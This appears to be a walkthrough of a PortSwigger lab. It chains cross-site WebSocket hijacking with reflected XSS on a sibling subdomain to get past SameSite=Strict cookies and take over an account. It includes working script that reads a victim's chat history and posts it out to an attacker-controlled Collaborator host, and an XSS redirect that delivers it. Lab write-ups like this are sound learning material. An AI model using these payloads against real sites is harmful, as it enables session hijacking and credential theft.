I just solved a PortSwigger lab where I chained multiple vulnerabilities to take over a victim account. No heavy theory here just the real attack flow and payloads.
🎯 Our Goal
- Exploit WebSocket
- Bypass
SameSite=Strict - Steal victim chat → get credentials → login
🧪 Step 1: Find WebSocket Behavior
Open live chat → send messages → check Burp:
GET /chat (WebSocket handshake)Then refresh page → in WebSocket history:
READY → server sends full chat history💡 That's your entry point.
⚡ Step 2: Test CSWSH
Create basic PoC:
<script>
var ws = new WebSocket('wss://LAB-ID.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};ws.onmessage = function(event) {
fetch('https://YOUR-COLLAB.oastify.com', {
method: 'POST',
mode: 'no-cors',
body: event.data
});
};
</script>
👉 Result:- You receive chat data in Collaborator
- BUT only your own session
🚫 Step 3: Why It Failed
Check request:
Cookie: ❌ NOT SENTReason:
SameSite=Strict👉 So cross-site request = no victim session
🧠 Step 4: Find a Way Around (This is Key)
While exploring proxy history, found:
cms-LAB-ID.web-security-academy.net👉 Open it → login form
Test input:
<script>alert(1)</script>💥 XSS confirmed

🔁 Step 5: Convert POST → GET
In Burp Repeater:
- Change POST → GET
- Copy URL
Now you have:
https://cms-LAB-ID/login?username=<script>alert(1)</script>
👉 This is important for exploit delivery
🚀 Step 6: Build Final Payload
1. CSWSH script
<script>
var ws = new WebSocket('wss://LAB-ID.web-security-academy.net/chat');ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://YOUR-COLLAB.oastify.com', {
method: 'POST',
mode: 'no-cors',
body: event.data
});
};
</script>
2. URL encode it
Example:
%3Cscript%3Evar%20ws%20%3D...3. Inject into XSS
Final exploit:
<script>
document.location = "https://cms-LAB-ID.web-security-academy.net/login?username=ENCODED_PAYLOAD&password=test";
</script>
>💥 Step 7: Why This Works
- XSS runs on: cms.lab.net
- WebSocket request goes to: lab.net
👉 Important detail:
Even though these are different subdomains, the browser treats them as the same site because they share the same root domain
web-security-academy.net
👉 Browser logic:
Same SITE → send cookies ✅
Different SITE → block cookies ❌So when your XSS executes on cms.lab.net, any request it makes to lab.net is considered same-site, not cross-site
That means:
- SameSite=Strict does NOT block the request
- The browser automatically includes the victim's session cookie
So now the WebSocket request looks like:
Cookie: SESSION=VICTIM_SESSION👉 This is the key difference from your earlier attempt:
- From exploit server → ❌ no cookie (cross-site)
- From cms subdomain → ✅ cookie included (same-site)
And because the request is now authenticated, the server returns the victim's chat history instead of yours.
📡 Step 8: Exfiltration
In Burp Collaborator:
You get:
victim chat historyInside it:
username: victim
password: victim's pass
🔓 Step 9: Login = Lab Solved
Thanks PortSwigger